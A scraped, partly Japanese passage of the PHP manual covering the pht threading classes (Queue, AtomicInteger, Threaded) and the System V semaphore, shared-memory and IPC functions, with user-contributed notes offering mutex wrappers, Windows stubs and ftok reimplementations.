  • pht\Queue::size ≫
  • PHP Manual
  • pht\Queue
  • Pushes a value to the end of a queue

pht\Queue::push

(PECL pht >= 0.0.1)

pht\Queue::push — Pushes a value to the end of a queue

説明

public pht\Queue::push ( mixed $value ) : void

This method will add a value onto the queue.

パラメータ

value

The value to be added to a pht\Queue. This value will be serialised (since it may be passed around between threads).

返り値

No return value.

例

例1 Pushing a value to a queue

<?php

use pht\Queue;

$queue = new Queue();

$queue->push(1);

var_dump($queue);

上の例の出力は以下となります。

object(pht\Queue)#1 (1) {
  [0]=>
  int(1)
}

User Contributed Notes

There are no user contributed notes for this page.


Gets the size of the queue

  • ≪ pht\Queue::push
  • pht\Queue::unlock ≫
  • PHP Manual
  • pht\Queue
  • Gets the size of the queue

pht\Queue::size

(PECL pht >= 0.0.1)

pht\Queue::size — Gets the size of the queue

説明

public pht\Queue::size ( ) : int

Returns the current size of the queue. This operation requires a pht\Queue's mutex lock to be held if it is being used by multiple threads.

パラメータ

この関数にはパラメータはありません。

返り値

The size of the queue.

例

例1 Getting a queue's size

<?php

use pht\Queue;

$queue = new Queue();

$queue->push(1);
$queue->push(1);

var_dump($queue->size());

上の例の出力は以下となります。

int(2)

User Contributed Notes

There are no user contributed notes for this page.


Releases the queue's mutex lock

  • ≪ pht\Queue::size
  • pht\AtomicInteger ≫
  • PHP Manual
  • pht\Queue
  • Releases the queue's mutex lock

pht\Queue::unlock

(PECL pht >= 0.0.1)

pht\Queue::unlock — Releases the queue's mutex lock

説明

public pht\Queue::unlock ( ) : void

This method will release the mutex lock associated with the queue.

パラメータ

この関数にはパラメータはありません。

返り値

No return value.

例

例1 Locking a queue's mutex lock

<?php

use pht\{Thread, Queue};

$thread = new Thread();
$queue = new Queue();

$thread->addFunctionTask(function ($queue) {
    $queue->lock();
    $queue->push(1);
    $queue->unlock();
}, $queue);

$thread->start();

// $queue is currently being used by multiple threads
$queue->lock();
$queue->push(1);
$queue->unlock();

$thread->join();

// $queue is only being used in this thread now, so no need to lock it
while ($queue->size()) {
    var_dump($queue->pop());
}

上の例の出力は以下となります。

int(1)
int(1)

User Contributed Notes

There are no user contributed notes for this page.


The AtomicInteger class

(PECL pht >= 0.0.1)

はじめに

The pht\AtomicInteger class is currently the only supported atomic value. It allows for an integer to be safely passed around between, and manipulated, by multiple threads. The methods exposed by this class do not need mutex locking, since they will acquire the internal mutex lock implicitly. pht\AtomicInteger::lock() and pht\AtomicInteger::unlock() are still exposed, however, for when multiple operations involving the same pht\AtomicInteger object need to be grouped together.

The mutex locks of the atomic values are reentrant safe.

クラス概要

pht\AtomicInteger implements pht\Threaded {
/* メソッド */
public __construct ( int $value = 0 ) : AtomicInteger
public dec ( ) : void
public get ( ) : int
public inc ( ) : void
public lock ( ) : void
public set ( int $value ) : void
public unlock ( ) : void
}

目次

  • pht\AtomicInteger::__construct — AtomicInteger creation
  • pht\AtomicInteger::dec — Decrements the atomic integer's value by one
  • pht\AtomicInteger::get — Gets the atomic integer's value
  • pht\AtomicInteger::inc — Increments the atomic integer's value by one
  • pht\AtomicInteger::lock — Acquires the atomic integer's mutex lock
  • pht\AtomicInteger::set — Sets the atomic integer's value
  • pht\AtomicInteger::unlock — Releases the atomic integer's mutex lock

User Contributed Notes

There are no user contributed notes for this page.


AtomicInteger creation

  • ≪ pht\AtomicInteger
  • pht\AtomicInteger::dec ≫
  • PHP Manual
  • pht\AtomicInteger
  • AtomicInteger creation

pht\AtomicInteger::__construct

(PECL pht >= 0.0.1)

pht\AtomicInteger::__construct — AtomicInteger creation

説明

public pht\AtomicInteger::__construct ( int $value = 0 ) : AtomicInteger

Handles the creation of a new atomic integer.

パラメータ

value

The value to initialise the atomic integer to.

返り値

No return value.

例

例1 Creating a new atomic integer

<?php

use pht\AtomicInteger;

$atomicInteger = new AtomicInteger(100);

var_dump($atomicInteger->get());

上の例の出力は以下となります。

int(100)

User Contributed Notes

There are no user contributed notes for this page.


Decrements the atomic integer's value by one

  • ≪ pht\AtomicInteger::__construct
  • pht\AtomicInteger::get ≫
  • PHP Manual
  • pht\AtomicInteger
  • Decrements the atomic integer's value by one

pht\AtomicInteger::dec

(PECL pht >= 0.0.1)

pht\AtomicInteger::dec — Decrements the atomic integer's value by one

説明

public pht\AtomicInteger::dec ( ) : void

This method will decrement the atomic integer's value by one. Internally, the mutex lock of the atomic integer will be acquired, and so there is no need to manually acquire it (unless this operation needs to be grouped with other operations on the same atomic integer - see the example in pht\AtomicInteger::lock() for a demonstration of this).

パラメータ

この関数にはパラメータはありません。

返り値

No return value.

例

例1 Decrementing an atomic integer's value

<?php

use pht\AtomicInteger;

$atomicInteger = new AtomicInteger();

$atomicInteger->dec();
$atomicInteger->dec();

var_dump($atomicInteger->get());

上の例の出力は以下となります。

int(-2)

User Contributed Notes

There are no user contributed notes for this page.


Gets the atomic integer's value

  • ≪ pht\AtomicInteger::dec
  • pht\AtomicInteger::inc ≫
  • PHP Manual
  • pht\AtomicInteger
  • Gets the atomic integer's value

pht\AtomicInteger::get

(PECL pht >= 0.0.1)

pht\AtomicInteger::get — Gets the atomic integer's value

説明

public pht\AtomicInteger::get ( ) : int

This method will fetch the current value of the atomic integer. Internally, the mutex lock of the atomic integer will be acquired, and so there is no need to manually acquire it (unless this operation needs to be grouped with other operations on the same atomic integer - see the example in pht\AtomicInteger::lock() for a demonstration of this).

パラメータ

この関数にはパラメータはありません。

返り値

The current integer value of the atomic integer.

例

例1 Getting an atomic integer's value

<?php

use pht\AtomicInteger;

$atomicInteger = new AtomicInteger(2);

var_dump($atomicInteger->get());

上の例の出力は以下となります。

int(2)

User Contributed Notes

There are no user contributed notes for this page.


Increments the atomic integer's value by one

  • ≪ pht\AtomicInteger::get
  • pht\AtomicInteger::lock ≫
  • PHP Manual
  • pht\AtomicInteger
  • Increments the atomic integer's value by one

pht\AtomicInteger::inc

(PECL pht >= 0.0.1)

pht\AtomicInteger::inc — Increments the atomic integer's value by one

説明

public pht\AtomicInteger::inc ( ) : void

This method will increment the atomic integer's value by one. Internally, the mutex lock of the atomic integer will be acquired, and so there is no need to manually acquire it (unless this operation needs to be grouped with other operations on the same atomic integer - see the example in pht\AtomicInteger::lock() for a demonstration of this).

パラメータ

この関数にはパラメータはありません。

返り値

No return value.

例

例1 Incrementing an atomic integer's value

<?php

use pht\AtomicInteger;

$atomicInteger = new AtomicInteger();

$atomicInteger->inc();
$atomicInteger->inc();

var_dump($atomicInteger->get());

上の例の出力は以下となります。

int(2)

User Contributed Notes

There are no user contributed notes for this page.


Acquires the atomic integer's mutex lock

  • ≪ pht\AtomicInteger::inc
  • pht\AtomicInteger::set ≫
  • PHP Manual
  • pht\AtomicInteger
  • Acquires the atomic integer's mutex lock

pht\AtomicInteger::lock

(PECL pht >= 0.0.1)

pht\AtomicInteger::lock — Acquires the atomic integer's mutex lock

説明

public pht\AtomicInteger::lock ( ) : void

This method will acquire the mutex lock associated with the atomic integer. The mutex lock only needs to be acquired when needing to group together multiple operations.

The mutex locks of the atomic values are reentrant safe. It is therefore valid for the same thread to reacquire a mutex lock that it has already acquired.

パラメータ

この関数にはパラメータはありません。

返り値

No return value.

例

例1 Grouping together an atomic integer's operations (requiring a mutex lock)

<?php

use pht\AtomicInteger;

$atomicInteger = new AtomicInteger(2);

// assumes $atomicInteger is being used by multiple threads
$atomicInteger->lock();
$atomicInteger->set($atomicInteger->get() * 2); // double the value
$atomicInteger->unlock();

var_dump($atomicInteger->get());

上の例の出力は以下となります。

int(4)

User Contributed Notes

There are no user contributed notes for this page.


Sets the atomic integer's value

  • ≪ pht\AtomicInteger::lock
  • pht\AtomicInteger::unlock ≫
  • PHP Manual
  • pht\AtomicInteger
  • Sets the atomic integer's value

pht\AtomicInteger::set

(PECL pht >= 0.0.1)

pht\AtomicInteger::set — Sets the atomic integer's value

説明

public pht\AtomicInteger::set ( int $value ) : void

This method will set the value of the atomic integer. Internally, the mutex lock of the atomic integer will be acquired, and so there is no need to manually acquire it (unless this operation needs to be grouped with other operations on the same atomic integer - see the example in pht\AtomicInteger::lock() for a demonstration of this).

パラメータ

value

The value to set the atomic integer to.

返り値

No return value.

例

例1 Setting an atomic integer's value

<?php

use pht\AtomicInteger;

$atomicInteger = new AtomicInteger();

$atomicInteger->set(20);

var_dump($atomicInteger->get());

上の例の出力は以下となります。

int(20)

User Contributed Notes

There are no user contributed notes for this page.


Releases the atomic integer's mutex lock

  • ≪ pht\AtomicInteger::set
  • pht\Threaded ≫
  • PHP Manual
  • pht\AtomicInteger
  • Releases the atomic integer's mutex lock

pht\AtomicInteger::unlock

(PECL pht >= 0.0.1)

pht\AtomicInteger::unlock — Releases the atomic integer's mutex lock

説明

public pht\AtomicInteger::unlock ( ) : void

This method will release the mutex lock associated with the atomic integer.

パラメータ

この関数にはパラメータはありません。

返り値

No return value.

例

例1 Grouping together an atomic integer's operations (requiring a mutex lock)

<?php

use pht\AtomicInteger;

$atomicInteger = new AtomicInteger(2);

// assumes $atomicInteger is being used by multiple threads
$atomicInteger->lock();
$atomicInteger->set($atomicInteger->get() * 2); // double the value
$atomicInteger->unlock();

var_dump($atomicInteger->get());

上の例の出力は以下となります。

int(4)

User Contributed Notes

There are no user contributed notes for this page.


The Threaded interface

(PECL pht >= 0.0.1)

はじめに

The pht\Threaded interface is an internal interface used by the Inter-Thread Communication (ITC) data structures (pht\HashTable, pht\Queue, and pht\Vector). It allows those data structures to be threaded and ensures that the mutex locking API (pht\Threaded::lock() and pht\Threaded::unlock()) is implemented by each of the ITC data structures. It is not implementable by userland classes (since standalone mutex locks are not exposed).

インターフェイス概要

pht\Threaded {
/* メソッド */
public lock ( ) : void
public unlock ( ) : void
}

目次

  • pht\Threaded::lock — Acquires the mutex lock
  • pht\Threaded::unlock — Releases the mutex lock

User Contributed Notes

There are no user contributed notes for this page.


Acquires the mutex lock

  • ≪ pht\Threaded
  • pht\Threaded::unlock ≫
  • PHP Manual
  • pht\Threaded
  • Acquires the mutex lock

pht\Threaded::lock

(PECL pht >= 0.0.1)

pht\Threaded::lock — Acquires the mutex lock

説明

public pht\Threaded::lock ( ) : void

This method will acquire the mutex lock associated with the given class (either a pht\HashTable, pht\Queue, pht\Vector, or pht\AtomicInteger).

パラメータ

この関数にはパラメータはありません。

返り値

No return value.

User Contributed Notes

There are no user contributed notes for this page.


Releases the mutex lock

  • ≪ pht\Threaded::lock
  • セマフォ ≫
  • PHP Manual
  • pht\Threaded
  • Releases the mutex lock

pht\Threaded::unlock

(PECL pht >= 0.0.1)

pht\Threaded::unlock — Releases the mutex lock

説明

public pht\Threaded::unlock ( ) : void

This method will unlock the mutex lock associated with the given class (either a pht\HashTable, pht\Queue, pht\Vector, or pht\AtomicInteger).

パラメータ

この関数にはパラメータはありません。

返り値

No return value.

User Contributed Notes

There are no user contributed notes for this page.


セマフォ、共有メモリおよび IPC

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • セマフォ関数
    • ftok — パス名とプロジェクト ID を、System V IPC キーに変換する
    • msg_get_queue — メッセージキューを作成またはそれにアタッチする
    • msg_queue_exists — メッセージキューが存在するかどうかを調べる
    • msg_receive — メッセージキューからメッセージを受信する
    • msg_remove_queue — メッセージキューを破棄する
    • msg_send — メッセージキューにメッセージを送信する
    • msg_set_queue — メッセージキューデータ構造体の情報を設定する
    • msg_stat_queue — メッセージキューデータ構造体の情報を返す
    • sem_acquire — セマフォを得る
    • sem_get — セマフォ ID を得る
    • sem_release — セマフォを解放する
    • sem_remove — セマフォを削除する
    • shm_attach — 共有メモリセグメントを作成またはオープンする
    • shm_detach — 共有メモリセグメントへの接続を閉じる
    • shm_get_var — 共有メモリから変数を返す
    • shm_has_var — 特定のエントリが存在するかどうかを調べる
    • shm_put_var — 共有メモリの変数を挿入または更新する
    • shm_remove_var — 共有メモリから変数を削除する
    • shm_remove — Unix システムから共有メモリを削除する

User Contributed Notes

There are no user contributed notes for this page.


はじめに

このモジュールは、System V IPC 関連の関数へのラッパーを提供します。 セマフォ・共有メモリおよびプロセス間通信(IPC)がその中に含まれます。

セマフォは、マシーン上のリソースへの排他的アクセス機能や、 同時にあるリソースを使用することができるプロセスの数を制限するために 使用することができます。

このモジュールは、System V 共有メモリを使用した共有メモリ関数も 提供します。共有メモリは、グローバル変数へのアクセス手段を提供するために 使用することが可能です。別の httpd デーモンおよび (Perl, C, ... のような)他のプログラムさえ、グローバルデータ交換を 提供するこのデータにアクセスすることが可能です。 共有メモリは、同時アクセスに関して安全ではないということを覚えておいて ください。 同期をとるには、セマフォを使用してください。

Unix OS による共有メモリの制限
SHMMAX | 共有メモリの最大サイズ。通常は 131072 バイト
SHMMIN | 共有メモリの最小サイズ。通常は 1 バイト
SHMMNI | 共有メモリセグメントの最大数。通常は 100
SHMSEG | プロセス毎の共有メモリの最大数。通常は 6

メッセージング関数は、他のプロセスと相互にメッセージを送受信する ために使用することができます。 これにより簡単で効率的なプロセス間のデータ交換が可能であり、 Unix ドメインソケットを用いる場合のような設定は不要です。

注意: この拡張モジュールは Windows 環境では利用できません。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この関数はデフォルトでは有効になってはいません。System V セマフォの サポートを有効にするには、オプション --enable-sysvsem を指定して PHP を コンパイルする必要があります。System V 共有メモリのサポートを有効にするには、 オプション --enable-sysvshm を 指定して PHP をコンパイルする必要があります。System V メッセージを有効に するには、オプション --enable-sysvmsg を指定して PHP をコンパイル します。

User Contributed Notes

sparcbr at gmail dot com 05-Apr-2020 01:29
It should be mentioned that depending on the system, an module can be available.

On CentOS I just ran:
sudo yum install php73-php-sysvsem

then reload:
sudo service php-fpm reload (or apache, depending on your case)

and semaphore functions are now available.


実行時設定

php.ini の設定により動作が変化します。

セマフォ設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
sysvshm.init_mem | 10000 | PHP_INI_SYSTEM |
PHP_INI_* モードの詳細および定義については どこで設定を行うのか を参照してください。

以下に設定ディレクティブに関する 簡単な説明を示します。

sysvshm.init_mem int

共有メモリセグメントのデフォルトサイズ。

User Contributed Notes

There are no user contributed notes for this page.


リソース型

PHP 8.0.0 より前のバージョンでは、 この拡張機能はリソース型を定義していました。 sysvmsg queue (System V メッセージキュー), sysvsem (System V セマフォ), sysvshm (System V 共有メモリ) です。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

System V メッセージ定数
定数 | 型 | 変更履歴
MSG_IPC_NOWAIT | int |
MSG_EAGAIN | int | 5.2.0 以降
MSG_ENOMSG | int | 5.2.0 以降
MSG_NOERROR | int |
MSG_EXCEPT | int |

User Contributed Notes

There are no user contributed notes for this page.


セマフォ関数

目次

  • ftok — パス名とプロジェクト ID を、System V IPC キーに変換する
  • msg_get_queue — メッセージキューを作成またはそれにアタッチする
  • msg_queue_exists — メッセージキューが存在するかどうかを調べる
  • msg_receive — メッセージキューからメッセージを受信する
  • msg_remove_queue — メッセージキューを破棄する
  • msg_send — メッセージキューにメッセージを送信する
  • msg_set_queue — メッセージキューデータ構造体の情報を設定する
  • msg_stat_queue — メッセージキューデータ構造体の情報を返す
  • sem_acquire — セマフォを得る
  • sem_get — セマフォ ID を得る
  • sem_release — セマフォを解放する
  • sem_remove — セマフォを削除する
  • shm_attach — 共有メモリセグメントを作成またはオープンする
  • shm_detach — 共有メモリセグメントへの接続を閉じる
  • shm_get_var — 共有メモリから変数を返す
  • shm_has_var — 特定のエントリが存在するかどうかを調べる
  • shm_put_var — 共有メモリの変数を挿入または更新する
  • shm_remove_var — 共有メモリから変数を削除する
  • shm_remove — Unix システムから共有メモリを削除する

User Contributed Notes

HansRich 30-Jun-2014 09:00
For shared memory needs, these functions are greatly outdated and inefficient.
They don't provide read/write locking and they use a single linked list for storing the variables, which means they have an average complexity of O(n/2) where n is the number of variables in the segment.

For a better alternative use APC Functions which implement proper read/write locking and use a hash table so they have good efficiency even for large amounts of variables:
http://php.net/manual/en/ref.apc.php
piosaw79 25-Jul-2011 02:36
I'm using this simple functions to mimic semaphores on Windows (with $max_acquire = 1):

<?php
if ( !function_exists('sem_get') ) {
    function sem_get($key) { return fopen(__FILE__.'.sem.'.$key, 'w+'); }
    function sem_acquire($sem_id) { return flock($sem_id, LOCK_EX); }
    function sem_release($sem_id) { return flock($sem_id, LOCK_UN); }
}
?>
mr dot smaon at gmail dot com 25-Jan-2007 09:08
Here is a simple Mutex class implementation, using semaphore on Linux and flock on windows.
Filename is optionnal, but you can provide it anyway. This way the file will be created on windows, not on linux as it is not needed.
It's fast written and certainly lacks error checking code.

<?php

    class Mutex
    {
        private $id;
        private $sem_id;
        private $is_acquired = false;
        private $is_windows = false;
        private $filename = '';
        private $filepointer;

        function __construct()
        {
            if(substr(PHP_OS, 0, 3) == 'WIN')
                $this->is_windows = true;
        }

        public function init($id, $filename = '')
        {
            $this->id = $id;

            if($this->is_windows)
            {
                if(empty($filename)){
                    print "no filename specified";
                    return false;
                }
                else
                    $this->filename = $filename;
            }
            else
            {
                if(!($this->sem_id = sem_get($this->id, 1))){
                    print "Error getting semaphore";
                    return false;
                }
            }

            return true;
        }

        public function acquire()
        {
            if($this->is_windows)
            {
                if(($this->filepointer = @fopen($this->filename, "w+")) == false)
                {
                    print "error opening mutex file<br>";
                    return false;
                }

                if(flock($this->filepointer, LOCK_EX) == false)
                {
                    print "error locking mutex file<br>";
                    return false;
                }
            }
            else
            {
                if (! sem_acquire($this->sem_id)){
                    print "error acquiring semaphore";
                    return false;
                }
            }

            $this->is_acquired = true;
            return true;
        }

        public function release()
        {
            if(!$this->is_acquired)
                return true;

            if($this->is_windows)
            {
                if(flock($this->filepointer, LOCK_UN) == false)
                {
                    print "error unlocking mutex file<br>";
                    return false;
                }

                fclose($this->filepointer);
            }
            else
            {
                if (! sem_release($this->sem_id)){
                    print "error releasing semaphore";
                    return false;
                }
            }

            $this->is_acquired = false;
            return true;
        }

        public function getId()
        {
            return $this->sem_id;
        }
    }

?>

Example use:

<?php

    $mutex = new Mutex();
    $mutex->init(1, "mutex_file.txt");
    $mutex->acquire();

    //Whatever you want single-threaded here...
    $mutex->release();

?>
hekkwan at gmail dot com 14-Nov-2006 06:15
I have been trying to get a php console script and a C application to use a common semaphore for a while. I just got it working, so I thought Id paste the code here incase anyone needs to do this, however, this is not the place for long code examples

I used c code from the php implementation to set up the semaphore set and then mimic the way the php interpreter implements a mutext type locking scheme, using a common semop call.

One has to do the process in the same way as its done in the php implementation, otherwise you run the risk of the php interpreter resetting the semaphore set for you.

The basic idea is.
1) sem_get - use a three semaphore set
1.1) increment the first sem
1.2) check the usage count (sem 3), if only one, set the max_attach using sem 2 for mutex behaviour to sem 3
2) decrement sem 1
3) for locking / unlocking use the first semaphore, but always call the above from your c-code.

If you want a copy of my code, email me and I'll happily send it to you !
chrissavery at removeme dot gmail dot com 02-Jun-2006 01:18
I was confused by two things that caused strange behaviour in my use of semaphores with php scripts running under apache.

Often enough page requests will end up being filled by the same process as other simultaneous requests. So semaphores will block when you may not have expected.

Also note that sem_remove() will remove it for all processes, not just the calling one. So you have to be sure that the last process running removes the semaphore and none before. I thought there was some failures occurring when my child processes were dropping out with errors.

So you can't just use get, acquire, release, remove in one script that will be hit by a web user. (1) They may end up in the same process and will wait on the other, and (2) the first one to finish will destroy the semaphore for others.

I left out the remove call, and it works ok, but I still wonder if the semaphore is removed by php when the last script that did a get finishes? Also creating a child process to do the work using proc_open works to ensure seperate processes but to be careful you would want to limit the number somehow as well.
Denis Gerasimov 02-Nov-2005 04:19
Many (most?) developers use Win32 platform for PHP Web applications development while production servers mostly run Unix/Linux OS. Below is the stub code I use to make it possible to write scripts on Win32 that use semaphores:

<?php

if (substr(PHP_OS, 0, 3) == 'WIN') {  // if Windows OS detected

    function ftok($pathname, $proj)
    {
        if (empty($pathname) || !file_exists($pathname)) {  // an error occured
            return -1;
        }

        $pathname = $pathname . (string) $proj;
        $key = array();
        while (sizeof($key) < strlen($pathname)) {
            $key[] = ord(substr($pathname, sizeof($key), 1));
        }

        return dechex(array_sum($key));
    }

    function sem_acquire($sem_identifier)
    {
        return true;
    }

    function sem_get($key, $max_acquire = null, $perm = null, $auto_release = null)
    {
        return true;
    }

    function sem_release($sem_identifier)
    {
        return true;
    }

    function sem_remove($sem_identifier)
    {
        return true;
    }

}

?>

Of course, there is no way to test semaphores until you have no Unix/Linux test server.
p4nzer at yahoo dot com 01-Nov-2005 05:55
Actually, the way to lock a semaphore from C code appears to be:
<?
    struct sembuf semptr[2];

    if( (semid = semget(SEM_KEY, PHP_SEM_NEED_NUMBER, 0666 | IPC_CREAT)) < 0 ) {
        perror("semget");
        return 1;
    }

    semptr[0].sem_num = 0;
    semptr[0].sem_op = -1;
    semptr[0].sem_flg = SEM_UNDO;
    semptr[1].sem_num = 1;
    semptr[1].sem_op =  1;
    semptr[1].sem_flg = SEM_UNDO;

    if( semop(semid, &semptr[0], 2) < 0 ) {
    perror("semop");
    }
?>

PS: Disregard the <? and ?>, it's just for pretty printing... this is C code!
hcuevas at galenicom dot com 23-Oct-2003 07:49
Don't use semaphores to serialize access to an undefined number of resources. There is no way (yet) to know before locking if a semaphore is already locked, thus not being able to fully release the semaphore and occupying a semaphore resource for an undefined time.

A possible solution is to build a shared mem pool and store there the current number of locks for a semaphore id.

Cheers,
Horaci Cuevas
Roman Laptev <tmp at laptev dot org> 02-Apr-2003 06:50
If you going to work with semaphore, which was created by some external program, you can try the following code for this program (C example):

#define SVSEM_MODE (SEM_R | SEM_A | SEM_R>>3 | SEM_R>>6) /* 0644 */
#define PHP_SEM_NEED_NUMBER 3

/*.......*/
int semid, semflag = SVSEM_MODE | IPC_CREAT | IPC_EXCL;
struct sembuf semptr;
union semun semopts;
/*.......*/
if( (semid = semget(sempath, PHP_SEM_NEED_NUMBER, semflag)) >= 0 ) {
  semopts.val = 1; /* initial value for sem */
  if( semctl( semid, 0, SETVAL, semopts) < 0 ) {/*error*/}
  if( semctl( semid, 1, SETVAL, semopts) < 0 ) {/*error*/}
  /* PHP wanna zero for its own semget at third sem.
   * look at ./PHP_SOURCE_PATH/ext/sysvsem/sysvsem.c
   */
  semopts.val = 0;
  if( semctl( semid, 2, SETVAL, semopts) < 0 ) {/*error*/}
}
else if(errno == EEXIST) { /* connect only  */
  if( (semid = semget(sempath, PHP_SEM_NEED_NUMBER, SVSEM_MODE | IPC_CREAT)) < 0 ) {/*error*/}
}
else {/*error*/}

/*.......*/
/* If you want acquire the sem */
  semptr.sem_num = 0;
  semptr.sem_op = -1; /* lock it */
  semptr.sem_flg = SEM_UNDO;
  while( semop(semid, &semptr, 1) < 0 ) {/*error*/}
/*.......*/

Thanks,
Roma
elran70 at hotmail dot com 22-Jun-2002 10:54
Samlpe code for using most of the functions here:

    $MEMSIZE    =   512;//  size of shared memory to allocate
    $SEMKEY     =   1;  //  Semaphore key
    $SHMKEY     =   2;  //  Shared memory key

    echo "Start.\n";
    // Get semaphore
    $sem_id = sem_get($SEMKEY, 1);
    if ($sem_id === false)
    {
        echo "Fail to get semaphore";
        exit;
    }
    else
        echo "Got semaphore $sem_id.\n";

    // Accuire semaphore
    if (! sem_acquire($sem_id))
    {
        echo "Fail to aquire semaphore $sem_id.\n";
        sem_remove($sem_id);
        exit;
    }
    else
        echo "Success aquire semaphore $sem_id.\n";

    $shm_id =   shm_attach($SHMKEY, $MEMSIZE);
    if ($shm_id === false)
    {
        echo "Fail to attach shared memory.\n";
        sem_remove($sem_id);
        exit;
    }
    else
        echo "Success to attach shared memory : $shm_id.\n";

    // Write variable 1
    if (!shm_put_var($shm_id, 1, "Variable 1"))
    {
        echo "Fail to put var 1 on shared memory $shm_id.\n";
        sem_remove($sem_id);
        shm_remove ($shm_id);
        exit;
    }
    else
        echo "Write var1 to shared memory.\n";

    // Write variable 2
    if (!shm_put_var($shm_id, 2, "Variable 2"))
    {
        echo "Fail to put var 2 on shared memory $shm_id.\n";
        sem_remove($sem_id);
        shm_remove ($shm_id);
        exit;
    }
    else
        echo "Write var2 to shared memory.\n";

    // Read variable 1
    $var1   =   shm_get_var ($shm_id, 1);
    if ($var1 === false)
    {
        echo "Fail to retrive Var 1 from Shared memory $shm_id, return value=$var1.\n";
    }
    else
        echo "Read var1=$var1.\n";

    // Read variable 1
    $var2   =   shm_get_var ($shm_id, 2);
    if ($var1 === false)
    {
        echo "Fail to retrive Var 2 from Shared memory $shm_id, return value=$var2.\n";
    }
    else
        echo "Read var2=$var2.\n";

    // Release semaphore
    if (!sem_release($sem_id))
        echo "Fail to release $sem_id semaphore.\n";
    else
        echo "Semaphore $sem_id released.\n";

    // remove shared memory segmant from SysV
    if (shm_remove ($shm_id))
        echo "Shared memory successfully removed from SysV.\n";
    else
        echo "Fail to remove $shm_id shared memory from SysV.\n";

    // Remove semaphore
    if (sem_remove($sem_id))
        echo "semaphore removed successfully from SysV.\n";
    else
        echo "Fail to remove $sem_id semaphore from SysV.\n";
    echo "End.\n";
mikew at php dot net 31-May-2001 09:46
As for security,   please look at the perm argument to shm_get.   Shared Memory blocks has the same permission semantics as unix user/group/other file permissions.   As long as your webserver is running as a user that no other users can script to..  and as long as the permissions are set to 600,  you should be fine and have no security concerns.
php at stolt dot de 20-Sep-2000 11:58
The integer keys for sem_get() and shm_attach() have to be systemwide unique. There is no method to ensure that no other process on the system will use your specific key (security! and possible malfunction). Also shared memory is very seldom used there are possibilities for conflicts! To see the used id's you can use the program 'ipcs' (at least under SuseLinux;) ). Thanks Christian C.


パス名とプロジェクト ID を、System V IPC キーに変換する

  • ≪ セマフォ関数
  • msg_get_queue ≫
  • PHP Manual
  • セマフォ関数
  • パス名とプロジェクト ID を、System V IPC キーに変換する

ftok

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

ftok — パス名とプロジェクト ID を、System V IPC キーに変換する

説明

ftok ( string $filename , string $project_id ) : int

この関数は、filename で表される既存のアクセス可能なファイルおよびプロジェクト ID (project_id) を、shmop_open() やその他の System V IPC キーで使う integer に変換します。

パラメータ

filename

アクセス可能なファイルへのパス。

project_id

プロジェクト ID。一文字からなる文字列でなければなりません。

返り値

成功した場合には作成されたキーの値を、それ以外の場合には -1 を返します。

参考

  • shmop_open() - 共有メモリブロックを作成またはオープンする
  • sem_get() - セマフォ ID を得る

User Contributed Notes

seelts at gmail dot com 13-Jan-2015 12:17
abk@avatartechnology.com has copied the code of daniele_dll@yahoo.it
But it is not correct.
The right version is here:
<?php
function ftok ($filePath, $projectId) {
    $fileStats = stat($filePath);
    if (!$fileStats) {
        return -1;
    }

    return sprintf('%u',
        ($fileStats['ino'] & 0xffff) | (($fileStats['dev'] & 0xff) << 16) | ((ord($projectId) & 0xff) << 24)
    );
}
?>

The difference is that $projectId string should be used as ASCII value via ord() function. Otherwise it will be interpreted as 0.
vlatko dot surlan at evorion dot hr 22-Apr-2013 10:09
The rather unintuitive usage of ftok with shm related functions like shmop_open and shm_attach could simply be explained as a need to avoid shm key collisions. Using ftok with a file that belongs to your project is likely to generate a unique key. Additionally, using ftok with a file from your project avoids the need to store the key so that other processes can access the segment because ftok will always give you the same key if you pass the same file.
Peter MOLNAR 18-May-2007 05:38
mbowie at buzmo dot com wrote:
"The result of this is that if you're using "1" as the id on the PHP side, you'll need to use 49 elsewhere."

You can always use chr() as an alternative.
marco at greenlightsolutions dot nl 17-Apr-2007 08:08
As ftok uses only the last 16 bits of the inode of the file, you can get collisions on large filesystems. Unfortunately, on large filesystems you can get collisions rather quickly: if you have a collection of 350-400 files, odds are that two of them have inodes with the same last 16 bits. So I've taken to using fileinode instead of ftok with functions like shmop_open.
mbowie at buzmo dot com 20-Oct-2004 02:41
If you're planning to use ftok() to generate an IPC identifier to share with other applications, note that PHP uses the ASCII value of the proj parameter to generate the key, not the proj (aka id) parameter itself.

The result of this is that if you're using "1" as the id on the PHP side, you'll need to use 49 elsewhere.

This may not be the case under all OS's, but certainly is for FreeBSD which requires the id parameter passed to ftok to be an int.

Also of note, ipcs and ipcrm are extremely useful for debugging SysV queues etc.

References:
http://www.freebsd.org/cgi/man.cgi?query=ftok
http://www.asciitable.com
abk at avatartechnology dot com 17-Jun-2004 01:17
Thanks to  daniele_dll@yahoo.it who got this in turn from linux glibc 2.3.2: http://www.php.net/manual/en/function.shmop-open.php -- I'm putting this here because it might be helpful to others.

function ftok($pathname, $proj_id) {
   $st = @stat($pathname);
   if (!$st) {
       return -1;
   }

   $key = sprintf("%u", (($st['ino'] & 0xffff) | (($st['dev'] & 0xff) << 16) | (($proj_id & 0xff) << 24)));
   return $key;
}
david dot rech at virusmedia dot de 26-May-2004 07:50
Missing ftok() on Windows? Here's my little workaround:

<?php
if( !function_exists('ftok') )
{
    function ftok($filename = "", $proj = "")
    {
        if( empty($filename) || !file_exists($filename) )
        {
            return -1;
        }
        else
        {
            $filename = $filename . (string) $proj;
            for($key = array(); sizeof($key) < strlen($filename); $key[] = ord(substr($filename, sizeof($key), 1)));
            return dechex(array_sum($key));
        }
    }
}?>

NOTE: There *may* be duplicate keys, even if probability is low.

The key's were NOT computed like the original UNIX ftok() because i.e. fileinode() is also missing on windows. Normally ftok() computes a key based on the file inode and the system minor id of the harddrive the file resides.

Behaviour is like PHPs ftok(), -1 is returned if file is missing or $filename is empty, computed int as hex on success.

--
Regards,
David Rech
kimaz at swecom dot org 02-May-2004 06:35
You dont have to use ftok() for specifying an System V IPC identifier, though its a good thing to do so.

Passing a regular int to, e.g. msg_get_queue, will have the same effect aslong as you use that value when reading/writing.

I use it for some minor tasks generating small queue's.
andreyKEINSPAM at php dot net 24-Apr-2004 09:43
